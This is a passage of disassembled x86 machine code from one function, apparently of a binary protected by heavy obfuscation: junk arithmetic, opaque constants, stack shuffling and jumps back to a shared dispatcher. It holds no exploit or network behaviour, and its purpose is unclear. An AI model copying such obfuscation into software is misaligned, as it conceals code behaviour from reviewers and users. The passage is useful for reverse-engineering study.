loc_59C37E:				; CODE XREF: sub_58A891+2208Fj
					; sub_58A891:loc_5B12E0j
		mov	ch, 98h
		xor	ch, 6Ch
		push	ecx
		not	byte ptr [esp+6+var_8+3]
		mov	ecx, [esp+6+var_8+2]
		add	esp, 4
		dec	ch
		not	ch
		push	edx
		mov	dh, 0B3h
		inc	dh
		sub	dh, 12h
		dec	dh
		shl	dh, 4
		push	cx
		mov	cl, 3Eh
		sub	dh, cl
		pop	cx
		sub	ch, dh
		mov	edx, [esp+6+var_8+2]
		jmp	loc_59FB03
; ---------------------------------------------------------------------------


loc_59C3B4:				; CODE XREF: sub_58A891+1AE68j
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		pop	ebx
		xor	dh, bh
		jmp	loc_5AF3E7
; ---------------------------------------------------------------------------


loc_59C3C2:				; CODE XREF: sub_58A891+22209j
		shr	edx, 5
		jp	loc_5A2B65
		xor	edx, 6922421h
		push	edi
		mov	edi, edx
		jmp	loc_5AF6CA
; ---------------------------------------------------------------------------


loc_59C3D9:				; CODE XREF: sub_58A891+20B01j
		add	esp, 4
		sub	esp, 4
		mov	[esp+2+var_4+2], esi
		push	edi
		mov	edi, 5548145Ah
		jmp	loc_5B186B
; ---------------------------------------------------------------------------


loc_59C3F0:				; CODE XREF: sub_58A891+2809Cj
		xor	[esp+6+var_8+2], eax
		jmp	loc_59EBBF
; ---------------------------------------------------------------------------


loc_59C3F8:				; CODE XREF: sub_58A891+28372j
		mov	esp, [esp+6+var_8+2]
		push	edx
		push	[esp+0Ah+var_8+2]
		pop	edx
		pop	[esp+0Ah+var_C+2]
		mov	esp, [esp+6+var_8+2]
		jmp	loc_5A6F4A
; ---------------------------------------------------------------------------


loc_59C40C:				; CODE XREF: sub_58A891+1E024j
		sub	ebx, 36C43A96h
		xor	ebx, 0CAED2E37h
		jmp	loc_5B19F8
; ---------------------------------------------------------------------------


loc_59C41D:				; CODE XREF: sub_58A891+1EF07j
		add	ebx, ebp
		pop	ebp
		jmp	loc_5A998A
; ---------------------------------------------------------------------------


loc_59C425:				; CODE XREF: sub_58A891+1DCFDj
		push	edx
		push	edi
		jmp	loc_5A0B5C
; ---------------------------------------------------------------------------


loc_59C42C:				; CODE XREF: sub_58A891+16085j
		and	edx, 6AF4212Ch
		push	ebx
		mov	ebx, 3F5942C2h
		jmp	loc_59F4BB
; ---------------------------------------------------------------------------


loc_59C43D:				; CODE XREF: sub_58A891+20254j
		mov	ebp, ecx
		push	[esp+0Eh+var_10+2]
		jmp	loc_5B0599
; ---------------------------------------------------------------------------


loc_59C447:				; CODE XREF: sub_58A891+20077j
		push	ecx
		push	[esp+16h+var_14+2]
		push	[esp+1Ah+var_1C+2]
		pop	ecx
		add	esp, 4
		pop	[esp+16h+var_18+2]
		pop	esp
		push	124Eh
		mov	[esp+12h+var_14+2], edi
		push	80h
		mov	edi, [esp+16h+var_18+2]
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp+1Eh+var_20+2]
		push	eax
		jmp	loc_5AC1DD
; ---------------------------------------------------------------------------


loc_59C486:				; CODE XREF: sub_58A891+1BFB9j
		mov	esp, [esp+22h+var_24+2]
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+26h+var_28+2]
		push	[esp+2Ah+var_2C+2]
		jmp	loc_5A2B5C
; ---------------------------------------------------------------------------


loc_59C49C:				; CODE XREF: sub_58A891+1210Fj
		sub	eax, 50D488D5h
		push	edx
		jmp	loc_5AB901
; ---------------------------------------------------------------------------


loc_59C4A7:				; CODE XREF: sub_58A891+1C5A7j
		or	ebp, 56BE0A8Dh
		add	ebp, 0A841D423h
		sub	eax, 479309D6h
		add	eax, ebp
		add	eax, 479309D6h
		mov	ebp, [esp+32h+var_34+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		jmp	loc_5AC8A2
; ---------------------------------------------------------------------------


loc_59C4D1:				; CODE XREF: sub_58A891+20D6Cj
		add	edi, ebp
		mov	ebp, [esp+3Ah+var_3C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], eax
		jmp	loc_5A76CA
; ---------------------------------------------------------------------------


loc_59C4E7:				; CODE XREF: sub_58A891+186C1j
		or	ecx, 6FC91465h
		jnz	loc_5AF080
		jmp	loc_5A5F8C
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], esp
		xor	al, 4Eh
		push	edi


loc_59C501:				; CODE XREF: sub_58A891+27F09j
		mov	[esp+42h+var_44+2], ebx
		mov	ebx, 3DF16557h
		push	eax
		jmp	loc_5B1A37
; ---------------------------------------------------------------------------


loc_59C50F:				; CODE XREF: sub_58A891+1DC10j
		add	ebx, 0A3D711Dh
		add	ebx, edi
		sub	ebx, 0A3D711Dh
		pop	edi
		xchg	ebx, [esp+42h+var_44+2]
		jmp	loc_5A88FE
; ---------------------------------------------------------------------------


loc_59C526:				; CODE XREF: sub_58A891+1A327j
		xor	ebp, [esp+42h+var_44+2]
		xor	[esp+42h+var_44+2], ebp
		xor	ebp, [esp+42h+var_44+2]
		pop	esp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C535:				; CODE XREF: sub_58A891+154C0j
		shl	edi, 2
		or	edi, 6BEB0188h
		sub	esp, 4
		jmp	loc_59E930
; ---------------------------------------------------------------------------


loc_59C546:				; CODE XREF: sub_58A891+147EAj
		sub	esp, 4
		mov	[esp+46h+var_48+2], eax
		push	edx
		mov	dh, 4
		jmp	loc_5A3D48
; ---------------------------------------------------------------------------


loc_59C554:				; CODE XREF: sub_58A891+1A538j
		mov	edi, 68546C66h
		mov	esi, edi
		mov	edi, [esp+4Ah+var_4C+2]
		add	esp, 4
		jmp	loc_5A6F38
; ---------------------------------------------------------------------------


loc_59C569:				; CODE XREF: sub_58A891+1F98Dj
		mov	[esp+46h+var_48+2], ebp
		push	esp
		jmp	loc_5A3943
; ---------------------------------------------------------------------------


loc_59C572:				; CODE XREF: sub_58A891+13705j
		sub	ecx, 26276870h
		add	ecx, ebx
		push	edx
		mov	edx, 26276870h
		add	ecx, edx
		pop	edx
		pop	ebx
		push	ebp
		jmp	loc_5B1FB0
; ---------------------------------------------------------------------------


loc_59C58A:				; CODE XREF: sub_58A891+17C4Ej
		push	ebp
		sub	[esp+4Eh+var_50+2], 63E134ECh
		pop	ebx
		jmp	loc_5AFB4C
; ---------------------------------------------------------------------------


loc_59C598:				; CODE XREF: sub_58A891+1A884j
		add	esi, ebp
		sub	esi, 2B5D0265h
		pop	ebp
		push	ecx
		jmp	loc_5A7BCF
; ---------------------------------------------------------------------------


loc_59C5A7:				; CODE XREF: sub_58A891+22579j
		mov	ch, 8Ch
		push	ebx
		jmp	loc_5AE93F
; ---------------------------------------------------------------------------


loc_59C5AF:				; CODE XREF: sub_58A891+13003j
		xor	esi, [esp+4Eh+var_50+2]
		mov	esp, [esp+4Eh+var_50+2]
		and	byte ptr [esp+4Eh+var_50+2], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C5BE:				; CODE XREF: sub_58A891+16276j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C5C3:				; CODE XREF: sub_58A891+1275Cj
		push	edx
		mov	edx, 27902BA7h
		add	ecx, edx
		pop	edx
		jmp	loc_5A18EE
; ---------------------------------------------------------------------------
		mov	eax, [esp+52h+var_54+2]
		push	esi
		push	esp
		jmp	loc_5A70BB
; ---------------------------------------------------------------------------


loc_59C5DB:				; CODE XREF: sub_58A891+26E75j
		add	edi, 4
		xchg	edi, [esp+5Ah+var_5C+2]
		mov	esp, [esp+5Ah+var_5C+2]
		mov	edx, [esp+5Ah+var_5C+2]
		add	esp, 4
		push	70CDh
		mov	[esp+5Ah+var_5C+2], edx
		mov	edx, esp
		push	76Fh
		mov	[esp+5Eh+var_60+2], eax
		push	8C9h
		mov	[esp+62h+var_64+2], ebx
		push	eax
		mov	eax, 65ED45CEh
		or	eax, 27A67EFCh
		or	eax, 12A36EE6h
		js	loc_5A075D
		and	eax, 3C2E3D05h
		jb	loc_59FF34
		push	ecx
		mov	ecx, 0F9DCE80Fh
		add	eax, ecx
		pop	ecx
		mov	ebx, eax
		jmp	loc_5B16B7
; ---------------------------------------------------------------------------


loc_59C635:				; CODE XREF: sub_58A891+1DF4Dj
		mov	[esp+66h+var_68+2], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_59F35B
; ---------------------------------------------------------------------------


loc_59C646:				; CODE XREF: sub_58A891+16AFDj
		pop	esp
		mov	[esp+66h+var_68+2], esi
		push	0A9Ch
		mov	[esp+6Ah+var_6C+2], edi
		mov	edi, 2
		jmp	loc_5A2440
; ---------------------------------------------------------------------------


loc_59C65C:				; CODE XREF: sub_58A891+1AD7Dj
		mov	ebx, 1C045176h
		sub	ebx, 62D22E7Fh
		inc	ebx
		jmp	loc_5A16EA
; ---------------------------------------------------------------------------


loc_59C66D:				; CODE XREF: sub_58A891+25396j
		push	0C6Ch
		mov	[esp+6Eh+var_70+2], ebp
		push	4
		mov	ebp, [esp+72h+var_74+2]
		add	esp, 4
		add	esi, ebp
		push	[esp+6Eh+var_70+2]
		jmp	loc_5A78D3
; ---------------------------------------------------------------------------


loc_59C68D:				; CODE XREF: sub_58A891+1930Cj
		xor	ebx, [esp+72h+var_74+2]
		xor	[esp+72h+var_74+2], ebx
		xor	ebx, [esp+72h+var_74+2]
		pop	esp
		pop	[esp+6Eh+var_70+2]
		mov	esp, [esp+6Ah+var_6C+2]
		ror	byte ptr [esp+6Ah+var_6C+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C6A6:				; CODE XREF: sub_58A891+18C75j
		pop	bx
		xor	ah, 43h
		jmp	loc_5A293B
; ---------------------------------------------------------------------------


loc_59C6B0:				; CODE XREF: sub_58A891+12A47j
		push	1B0Dh
		mov	[esp+70h+var_70], esi
		push	8FF69F80h
		pop	esi
		push	edx
		mov	edx, 7DF0A06h
		add	eax, edx
		mov	edx, [esp+74h+var_74]
		add	esp, 4
		jmp	loc_5AEDBB
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+70h+var_70]
		push	edi
		push	esp
		pop	edi
		jmp	loc_5A1113
; ---------------------------------------------------------------------------


loc_59C6DD:				; CODE XREF: sub_58A891+1A0CFj
		mov	ecx, [esp+74h+var_74]
		add	esp, 4
		add	edi, ebx
		push	esi
		mov	esi, 4F2652ABh
		neg	esi
		and	esi, 73726B60h
		not	esi
		not	esi
		shr	esi, 8
		xor	esi, 2133FCh
		sub	edi, esi
		pop	esi
		pop	ebx
		jmp	loc_59C725
; ---------------------------------------------------------------------------


loc_59C70C:				; CODE XREF: sub_58A891+21CE1j
		push	edx
		jmp	loc_5AAB91
; ---------------------------------------------------------------------------


loc_59C712:				; CODE XREF: sub_58A891+1EDF9j
					; sub_58A891+24309j ...
		add	edi, 4
		sub	edi, 4
		push	edi
		push	[esp+74h+var_70]
		jmp	loc_5A138A
; ---------------------------------------------------------------------------


loc_59C725:				; CODE XREF: sub_58A891+11E76j
		add	edi, 2
		sub	esp, 4
		mov	[esp+70h+var_70], edi
		push	[esp+70h+var_6C]
		mov	edi, [esp+74h+var_74]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5ADDD0
; ---------------------------------------------------------------------------


loc_59C749:				; CODE XREF: sub_58A891+23159j
		mov	eax, 7F3A6F2Dh
		jmp	loc_5A5D37
; ---------------------------------------------------------------------------


loc_59C753:				; CODE XREF: sub_58A891+1C51Ej
		mov	[esp+78h+var_78], edx
		push	eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C75D:				; CODE XREF: sub_58A891+1B5EEj
		mov	edi, [esp+80h+var_80]
		add	esp, 4
		add	edi, 4
		jmp	loc_59FDA5
; ---------------------------------------------------------------------------


loc_59C771:				; CODE XREF: sub_58A891+15849j
		neg	edx
		push	edi
		jmp	loc_5A95E4
; ---------------------------------------------------------------------------


loc_59C779:				; CODE XREF: sub_58A891+1D943j
		or	eax, eax
		jz	loc_5AE809
		push	dword ptr [edi+1Ch]
		push	[esp+84h+var_84]
		pop	ecx
		push	38DAh
		mov	[esp+88h+var_88], ecx
		mov	ecx, esp
		jmp	loc_5B28CB
; ---------------------------------------------------------------------------


loc_59C797:				; CODE XREF: sub_58A891+21649j
		mov	bh, 42h
		and	bh, 0D2h
		or	bh, 66h
		push	dx
		mov	dh, bh
		not	dh
		push	71E7h
		jmp	loc_59C144
; ---------------------------------------------------------------------------


loc_59C7AF:				; CODE XREF: sub_58A891+12275j
		mov	ebx, 22D06CB9h
		dec	ebx
		or	ebx, 4C6B065Bh
		jmp	loc_5A2FFA
; ---------------------------------------------------------------------------


loc_59C7C0:				; CODE XREF: sub_58A891+14144j
		add	esi, ebx
		pop	ebx
		jmp	loc_5AA820
; ---------------------------------------------------------------------------


loc_59C7C8:				; CODE XREF: sub_58A891:loc_59CA00j
					; sub_58A891+13271j
		sub	bl, 61h
		xor	ch, bl
		mov	bx, word ptr [esp+8Ah+var_8C+2]
		jmp	loc_5A786B
; ---------------------------------------------------------------------------


loc_59C7D6:				; CODE XREF: sub_58A891+1D76Cj
		pop	edi
		push	ebp
		mov	ebp, 771BE6FCh
		sub	eax, 520C31BAh
		add	eax, ebp
		push	ecx
		push	ebx
		push	263E647Dh
		pop	ebx
		xor	ebx, 59057BA3h
		mov	ecx, ebx
		pop	ebx
		and	ecx, 5FB32FC1h
		push	esi
		mov	esi, 294736AEh
		inc	esi
		or	esi, 14567BC2h
		xor	esi, 59396F05h
		xor	ecx, esi
		pop	esi
		xor	ecx, 364708EEh
		js	loc_5B1155
		neg	ecx
		jg	loc_5A701E
		jmp	loc_5AE201
; ---------------------------------------------------------------------------


loc_59C82A:				; CODE XREF: sub_58A891+28621j
		mov	edi, 16AE7C3Eh
		sub	edi, 0FFFFFFFFh
		sub	edi, 19F7583Fh
		push	edi
		xchg	esi, [esp+92h+var_94+2]
		not	esi
		xchg	esi, [esp+92h+var_94+2]
		pop	edi
		add	edi, 1
		add	edi, 23740ADFh
		add	edi, 415359BAh
		mov	ebx, edi
		pop	edi
		add	ebx, 6402C11h
		sub	ebp, 452A5237h
		sub	ebp, ebx
		jmp	loc_5A4A52
; ---------------------------------------------------------------------------


loc_59C867:				; CODE XREF: sub_58A891+17C8Bj
		add	ebx, 4
		xchg	ebx, [esp+8Ah+var_8C+2]
		jmp	loc_5AED10
; ---------------------------------------------------------------------------


loc_59C875:				; CODE XREF: sub_58A891+22DE4j
		mov	ebp, 2
		add	ecx, 5B441F8Fh
		add	ecx, ebp
		sub	ecx, 5B441F8Fh
		push	[esp+8Ah+var_8C+2]
		pop	ebp
		push	esi
		mov	esi, esp
		push	ebp
		push	ecx
		mov	ecx, 6A060E1Ah
		shr	ecx, 1
		jmp	loc_5ABAC7
; ---------------------------------------------------------------------------


loc_59C89D:				; CODE XREF: sub_58A891+1AECCj
					; sub_58A891+27D81j
		sub	esp, 4
		jmp	loc_5B0A27
; ---------------------------------------------------------------------------


loc_59C8A8:				; CODE XREF: sub_58A891+142A3j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		jmp	loc_5AE7F2
; ---------------------------------------------------------------------------


loc_59C8C2:				; CODE XREF: sub_58A891+2456Fj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp+0A2h+var_A2], edx
		jmp	loc_5AE26B
; ---------------------------------------------------------------------------


loc_59C8D9:				; CODE XREF: sub_58A891+229B5j
		push	edx
		xor	[esp+0A6h+var_A6], 34721080h
		pop	ebx
		jmp	loc_5A1531
; ---------------------------------------------------------------------------


loc_59C8E7:				; CODE XREF: sub_58A891+166C6j
		mov	[esp+0A2h+var_A2], ebp
		mov	ebp, 4
		push	edx
		mov	edx, 39786FEEh
		sub	ecx, edx
		pop	edx
		add	ecx, ebp
		push	ebx
		jmp	loc_5A97AC
; ---------------------------------------------------------------------------


loc_59C900:				; CODE XREF: sub_58A891+1BF66j
		push	edi
		mov	edi, 16B87027h
		jmp	loc_59CEE8
; ---------------------------------------------------------------------------


loc_59C90B:				; CODE XREF: sub_58A891+1D23Bj
		mov	ecx, 94B7CA7h
		xor	esi, ecx
		pop	ecx
		shl	esi, 5
		add	esi, 31462A00h
		not	esi
		jmp	loc_59FBC6
; ---------------------------------------------------------------------------


loc_59C923:				; CODE XREF: sub_58A891+231CBj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A6AD5
; ---------------------------------------------------------------------------


loc_59C936:				; CODE XREF: sub_58A891+1D81Aj
		mov	ebp, 15AA5DD1h
		push	ebx
		mov	ebx, 5ECC5F92h
		sub	ebp, ebx
		pop	ebx
		xor	ebp, 62BE4A56h
		sub	ebp, 5192761Dh
		and	ebp, 5E4D76EEh
		or	ebp, 6B5E5BA5h
		xor	ebp, 0D54F349Dh
		jmp	loc_5B172B
; ---------------------------------------------------------------------------


loc_59C967:				; CODE XREF: sub_58A891+1BA4Dj
		shl	edi, 5
		xor	edi, 503265D6h
		jmp	loc_5A6EFE
; ---------------------------------------------------------------------------


loc_59C975:				; CODE XREF: sub_58A891+12A89j
		xor	eax, 793C7686h
		push	eax
		jmp	loc_5A94C1
; ---------------------------------------------------------------------------


loc_59C980:				; CODE XREF: sub_58A891+226FDj
		add	bh, 48h
		sub	bh, al
		sub	bh, 48h
		add	bh, 7Ah
		push	edx
		mov	dh, 0D6h
		jmp	loc_5AB223
; ---------------------------------------------------------------------------


loc_59C993:				; CODE XREF: sub_58A891+1808Cj
		push	ebx
		jmp	loc_59FB8F
; ---------------------------------------------------------------------------


loc_59C999:				; CODE XREF: sub_58A891+16673j
		mov	eax, 3F445A9Eh
		neg	eax
		jns	loc_59C49C
		sub	eax, 50D488D5h
		push	edx
		jmp	loc_5A3B5D
; ---------------------------------------------------------------------------


loc_59C9B1:				; CODE XREF: sub_58A891+1EC23j
		xor	ecx, eax
		mov	eax, [esp+0B6h+var_B6]
		add	esp, 4
		push	1FE6h
		jmp	loc_5A5EEF
; ---------------------------------------------------------------------------


loc_59C9C6:				; CODE XREF: sub_58A891+20343j
		pop	ebx
		jmp	loc_5B1524
; ---------------------------------------------------------------------------


loc_59C9CC:				; CODE XREF: sub_58A891+17F02j
		mov	edi, 171F0487h
		shr	edi, 4
		neg	edi
		xor	edi, 0FE8E0FBCh
		jmp	loc_59DD4F
; ---------------------------------------------------------------------------


loc_59C9E1:				; CODE XREF: sub_58A891+191A9j
		pop	esi
		jmp	loc_5A1127
; ---------------------------------------------------------------------------


loc_59C9E7:				; CODE XREF: sub_58A891+136ACj
		mov	ecx, edi
		pop	edi
		add	ebx, ecx
		mov	ecx, [esp+0AAh+var_AA]
		add	esp, 4
		jmp	loc_5A9BE5
; ---------------------------------------------------------------------------


loc_59C9FA:				; CODE XREF: sub_58A891+1C94Dj
		push	ebp
		jmp	loc_5AC57C
; ---------------------------------------------------------------------------


loc_59CA00:				; CODE XREF: sub_58A891+17C3Bj
		jz	loc_59C7C8
		sub	bl, 61h
		xor	ch, bl
		mov	bx, word ptr [esp+0AAh+var_AA]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		jmp	loc_5ACDD5
; ---------------------------------------------------------------------------


loc_59CA21:				; CODE XREF: sub_58A891+181FAj
		add	esp, 4
		add	edx, 4
		xor	edx, [esp+0AAh+var_AA]
		jmp	loc_59CD2A
; ---------------------------------------------------------------------------


loc_59CA35:				; CODE XREF: sub_58A891+25084j
		add	esp, 4
		and	eax, esi
		pop	esi
		jmp	loc_5A15BF
; ---------------------------------------------------------------------------


loc_59CA40:				; CODE XREF: sub_58A891+195BFj
		xor	edx, [esp]
		mov	esp, [esp]
		push	408Ch
		mov	[esp+0A6h+var_A6], edx
		mov	dh, 24h
		sub	al, dh
		pop	edx
		sub	esp, 4
		jmp	loc_5A5301
; ---------------------------------------------------------------------------


loc_59CA5B:				; CODE XREF: sub_58A891+1DED4j
		add	eax, 53630C5Eh
		push	[esp+0A6h+var_A6]
		mov	edi, [esp+0AAh+var_AA]
		add	esp, 4
		jmp	loc_5AD1FC
; ---------------------------------------------------------------------------


loc_59CA6E:				; CODE XREF: sub_58A891+19DB4j
		push	[esp+0A6h+var_A6]
		mov	edx, [esp+0AAh+var_AA]
		add	esp, 4
		add	esp, 4
		push	esi
		push	eax
		push	2F366C02h
		pop	eax
		and	eax, 348070F8h
		push	esi
		mov	esi, 6F497079h
		jmp	loc_5B20EE
; ---------------------------------------------------------------------------


loc_59CA95:				; CODE XREF: sub_58A891+128ECj
					; sub_58A891+24425j
		neg	edi
		or	edi, 5BE3438h
		sub	edi, 0D7FFB5F8h
		add	ebp, 718E0B11h
		add	ebp, edi
		jmp	loc_5A5BEC
; ---------------------------------------------------------------------------


loc_59CAB0:				; CODE XREF: sub_58A891+13E80j
		push	edi
		mov	edi, 1775809h
		add	eax, edi
		jmp	loc_59CB2E
; ---------------------------------------------------------------------------


loc_59CABD:				; CODE XREF: sub_58A891+2626Fj
		push	ecx
		mov	ecx, 470908F1h
		shr	ecx, 2
		xor	ecx, 8482894Dh
		jmp	loc_59C27C
; ---------------------------------------------------------------------------


loc_59CAD1:				; CODE XREF: sub_58A891+18858j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A5387
; ---------------------------------------------------------------------------


loc_59CADF:				; CODE XREF: sub_58A891+2724Aj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A2D5B
; ---------------------------------------------------------------------------


loc_59CAF3:				; CODE XREF: sub_58A891+25D59j
		add	ax, bx
		jmp	loc_5AB8BD
; ---------------------------------------------------------------------------


loc_59CAFB:				; CODE XREF: sub_58A891+2550Ej
		pop	ecx
		mov	edi, [esp+0B6h+var_B6]
		add	esp, 4
		push	ebx
		jmp	loc_59C7AF
; ---------------------------------------------------------------------------


loc_59CB0B:				; CODE XREF: sub_58A891+1BCD9j
		sub	esp, 4
		jmp	loc_5A56D9
; ---------------------------------------------------------------------------


loc_59CB13:				; CODE XREF: sub_58A891+19B49j
		jge	loc_5A0536
		dec	ebx
		neg	ebx
		jns	loc_5B1F9A
		mov	dh, ch
		push	edi
		mov	cx, word ptr [esp+0BEh+var_BE]
		jmp	loc_5AC95F
; ---------------------------------------------------------------------------


loc_59CB2E:				; CODE XREF: sub_58A891+12227j
		pop	edi
		xor	eax, 1B45E304h
		add	esi, 590C5186h
		sub	esi, eax
		sub	esi, 590C5186h
		jmp	loc_59F45B
; ---------------------------------------------------------------------------


loc_59CB47:				; CODE XREF: sub_58A891:loc_5AE0A0j
		xor	ebx, 0AA73934h
		xor	edi, ebx
		pop	ebx
		add	ebp, 2D541685h
		add	ebp, edi
		sub	ebp, 2D541685h
		pop	edi
		jmp	loc_5A17A0
; ---------------------------------------------------------------------------


loc_59CB64:				; CODE XREF: sub_58A891+150C3j
					; sub_58A891+19036j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5AF7AF
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, 4
		jmp	loc_5A874B
; ---------------------------------------------------------------------------


loc_59CB83:				; CODE XREF: sub_58A891+2562Cj
		push	[esp+0AAh+var_AA]
		pop	esi
		add	esp, 4
		sub	ebx, 2BAF50BDh
		sub	ebx, 5DAA2FF7h
		add	ebx, edi
		add	ebx, 5DAA2FF7h
		push	ecx
		push	edi
		mov	edi, 631D49E0h
		neg	edi
		jmp	loc_59DF31
; ---------------------------------------------------------------------------


loc_59CBAF:				; CODE XREF: sub_58A891+1A47Cj
		add	esp, 4
		sub	ebx, eax
		push	esi
		jmp	loc_5AA081
; ---------------------------------------------------------------------------


loc_59CBBA:				; CODE XREF: sub_58A891+26546j
		jbe	loc_5AA145
		jmp	loc_59E7A8
; ---------------------------------------------------------------------------
		sub	ecx, 6CE4726Ch
		shl	ecx, 3


loc_59CBCE:				; CODE XREF: sub_58A891+225E1j
		jle	loc_5A4FC2
		jmp	loc_5A88FE
; ---------------------------------------------------------------------------
		push	42C5h
		mov	[esp+0B2h+var_B2], ebx
		push	edx


loc_59CBE2:				; CODE XREF: sub_58A891+1AA8Ej
		add	esp, 4
		xchg	esi, [esp+0B2h+var_B2]
		pop	esp
		push	dword ptr [edx]
		push	[esp+0B2h+var_B2]
		pop	eax
		add	esp, 4
		mov	edx, [esp+0AEh+var_AE]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		jmp	loc_59D756
; ---------------------------------------------------------------------------


loc_59CC06:				; CODE XREF: sub_58A891+13AC8j
		pop	eax
		pop	ecx
		xor	ecx, eax
		pop	eax
		add	edx, 462B7091h
		jmp	loc_5A8B54
; ---------------------------------------------------------------------------


loc_59CC16:				; CODE XREF: sub_58A891+27E02j
		pop	esi
		pop	ebp
		xchg	ebx, ebp
		not	ebx
		jmp	loc_59EA8B
; ---------------------------------------------------------------------------


loc_59CC21:				; CODE XREF: sub_58A891+22BE3j
		mov	edi, 2FC7079Bh
		dec	edi
		shr	edi, 4
		inc	edi
		inc	edi
		jmp	loc_5A1ADD
; ---------------------------------------------------------------------------


loc_59CC31:				; CODE XREF: sub_58A891+1F62Dj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59CC36:				; CODE XREF: sub_58A891+1A71Aj
		js	loc_59EB53
		push	edi
		push	eax
		push	0EC6h
		mov	[esp+0A6h+var_A6], ebx
		jmp	loc_5A21F9
; ---------------------------------------------------------------------------


loc_59CC4B:				; CODE XREF: sub_58A891+15FB0j
		shl	ebx, 2
		and	ebx, 677853C7h
		not	ebx
		and	ebx, 21285AF5h
		xor	ebx, 20005A71h
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+0A2h+var_A2]
		pop	esp
		push	49A2h
		mov	[esp+0A2h+var_A2], ecx
		jmp	loc_5A5CE4
; ---------------------------------------------------------------------------


loc_59CC76:				; CODE XREF: sub_58A891+245FFj
		push	edx
		mov	dh, 0EAh
		jmp	loc_5AB453
; ---------------------------------------------------------------------------


loc_59CC7E:				; CODE XREF: sub_58A891+1C88Fj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0AAh+var_AA]
		jmp	loc_5A05F5
; ---------------------------------------------------------------------------


loc_59CC95:				; CODE XREF: sub_58A891+14375j
					; sub_58A891+26E3Ej
		add	esi, 6F8D1A12h
		mov	ebp, [esp+0AAh+var_AA]
		add	esp, 4
		mov	edi, [esp+0A6h+var_A6]
		add	esp, 4
		add	edi, esi
		push	[esp+0A2h+var_A2]
		mov	esi, [esp+0A6h+var_A6]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5ACFAD
; ---------------------------------------------------------------------------


loc_59CCC6:				; CODE XREF: sub_58A891+1BF8Ej
		dec	eax
		jmp	loc_5AAF31
; ---------------------------------------------------------------------------


loc_59CCCC:				; CODE XREF: sub_58A891+14265j
		add	esp, 4
		jmp	loc_5A0AE7
; ---------------------------------------------------------------------------


loc_59CCD4:				; CODE XREF: sub_58A891+1EB2Aj
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_5B096D
; ---------------------------------------------------------------------------


loc_59CCDF:				; CODE XREF: sub_58A891+2600Bj
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 35AC6FD8h
		sub	dword ptr [esp+4], 715E0F80h
		push	[esp+9Eh+var_9E]
		jmp	loc_5A6633
; ---------------------------------------------------------------------------


loc_59CCFB:				; CODE XREF: sub_58A891+21D21j
		mov	edi, 4
		push	edi
		mov	edi, 3C081160h
		xor	edi, 45335FA5h
		sub	ebp, edi
		pop	edi
		add	ebp, edi
		add	ebp, 793B4EC5h
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_59CDCC
; ---------------------------------------------------------------------------


loc_59CD2A:				; CODE XREF: sub_58A891+1219Fj
		xor	[esp+0AAh+var_AA], edx
		xor	edx, [esp+0AAh+var_AA]
		mov	esp, [esp+0AAh+var_AA]
		jmp	loc_5AA036
; ---------------------------------------------------------------------------


loc_59CD38:				; CODE XREF: sub_58A891+17B9Bj
		mov	esp, [esp+0AAh+var_AA]
		push	13C4h
		jmp	loc_5A2A66
; ---------------------------------------------------------------------------


loc_59CD45:				; CODE XREF: sub_58A891+283FBj
		and	ebx, 43EF26EDh
		xor	ebx, 51434052h
		and	ebx, 1C741046h
		or	ebx, 75F51F36h
		jmp	loc_5A2C08
; ---------------------------------------------------------------------------


loc_59CD62:				; CODE XREF: sub_58A891+2330Bj
		xchg	edi, edx
		xchg	edx, ebx
		push	eax
		mov	eax, 0
		sub	eax, ebx
		xchg	eax, ebx
		pop	eax
		add	ebx, 0FFA02C7h
		push	ebp
		mov	ebp, 3B7F512Dh
		jmp	loc_5A2638
; ---------------------------------------------------------------------------


loc_59CD81:				; CODE XREF: sub_58A891+2187Cj
		xor	eax, 0FFFE7D9Dh
		sub	edi, 5E9D5F64h
		add	edi, eax
		add	edi, 5E9D5F64h
		push	[esp+0B2h+var_B2]
		pop	eax
		add	esp, 4
		push	edi
		push	[esp+0B2h+var_AE]
		pop	edi
		jmp	loc_5A5CD9
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp+0B6h+var_B6], edx
		sub	esp, 4
		mov	[esp+0BAh+var_BA], ecx
		mov	ch, 32h
		mov	dh, ch
		pop	ecx
		shr	dh, 7
